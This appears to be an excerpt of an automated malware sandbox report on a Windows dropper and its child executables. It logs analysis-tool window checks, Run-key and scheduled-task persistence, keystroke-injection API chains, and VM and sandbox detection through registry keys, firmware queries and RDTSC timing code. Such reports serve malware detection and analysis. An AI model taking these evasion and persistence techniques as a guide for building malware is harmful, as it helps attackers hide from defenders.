Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48f66b117f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48f66b117f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 643ebf15b8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 643ebf15b8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9bf3542ba6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9bf3542ba6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f186248479.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f186248479.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007DF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		17_2_007DF98E
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00851C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		17_2_00851C41

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_17-94505

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F2FB second address: 72F302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F302 second address: 72EBDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4EBCE5EB99h 0x0000000f nop 0x00000010 stc 0x00000011 push dword ptr [ebp+122D040Dh] 0x00000017 or dword ptr [ebp+122D334Eh], ecx 0x0000001d call dword ptr [ebp+122D1B94h] 0x00000023 pushad 0x00000024 cmc 0x00000025 xor eax, eax 0x00000027 mov dword ptr [ebp+122D2816h], ecx 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 jns 00007F4EBCE5EB87h 0x00000037 mov dword ptr [ebp+122D2BB8h], eax 0x0000003d jmp 00007F4EBCE5EB91h 0x00000042 mov esi, 0000003Ch 0x00000047 or dword ptr [ebp+122D2816h], edi 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 mov dword ptr [ebp+122D2816h], edx 0x00000057 lodsw 0x00000059 pushad 0x0000005a mov esi, dword ptr [ebp+122D297Ch] 0x00000060 jp 00007F4EBCE5EB8Ch 0x00000066 popad 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b pushad 0x0000006c mov dword ptr [ebp+122D2816h], ebx 0x00000072 sub dword ptr [ebp+122D2816h], ebx 0x00000078 popad 0x00000079 jmp 00007F4EBCE5EB93h 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jo 00007F4EBCE5EB99h 0x00000088 jmp 00007F4EBCE5EB93h 0x0000008d push eax 0x0000008e pushad 0x0000008f jmp 00007F4EBCE5EB97h 0x00000094 pushad 0x00000095 push eax 0x00000096 push edx 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2268 second address: 8A226E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2ABB second address: 8A2ACF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB90h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2ACF second address: 8A2B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4EBC76D9FEh 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F4EBC76DA00h 0x00000013 jno 00007F4EBC76D9FEh 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A608E second address: 8A6093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6093 second address: 8A609D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A609D second address: 8A60A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A60A1 second address: 8A6102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F4EBC76D9F8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F4EBC76D9F8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 call 00007F4EBC76D9F9h 0x00000046 push ecx 0x00000047 jc 00007F4EBC76D9FCh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6102 second address: 8A6124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F4EBCE5EB8Fh 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jp 00007F4EBCE5EB8Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6213 second address: 8A622D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76DA06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A622D second address: 8A626B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jc 00007F4EBCE5EB9Dh 0x00000011 jmp 00007F4EBCE5EB97h 0x00000016 push 00000000h 0x00000018 mov si, bx 0x0000001b push A586A8C7h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 pop eax 0x00000025 jnp 00007F4EBCE5EB86h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A63C7 second address: 8A63CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B75CE second address: 8B75DC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B75DC second address: 8B75EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F4EBC76D9F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B0A second address: 8C4B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB93h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
